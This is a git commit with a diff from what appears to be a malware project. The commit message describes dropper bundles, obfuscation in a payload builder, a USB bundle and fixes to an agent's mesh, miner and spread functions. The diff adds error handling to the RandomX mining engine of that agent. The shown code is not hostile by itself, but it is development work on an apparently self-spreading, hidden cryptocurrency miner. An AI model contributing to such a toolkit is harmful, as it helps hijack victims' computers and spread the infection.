fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

usb/agent/miner/engine.go

@@ -2,11 +2,18 @@ package miner
 
 import (
 	"encoding/hex"
+	"errors"
+	"fmt"
 	"sync"
 
 	"git.gammaspectra.live/P2Pool/go-randomx"
 )
 
+var (
+	ErrEngineNotReady = errors.New("randomx VM not initialized")
+	ErrBlobTooShort   = errors.New("blob shorter than nonce offset")
+)
+
 const nonceOffset = 39
 const nonceSize = 4
 
@@ -59,8 +66,11 @@ func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err
 	e.mu.RLock()
 	defer e.mu.RUnlock()
 
-	if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
-		return "", "", nil
+	if e.vm == nil {
+		return "", "", ErrEngineNotReady
+	}
+	if len(e.blob) < nonceOffset+nonceSize {
+		return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
 	}
 
 	work := append([]byte(nil), e.blob...)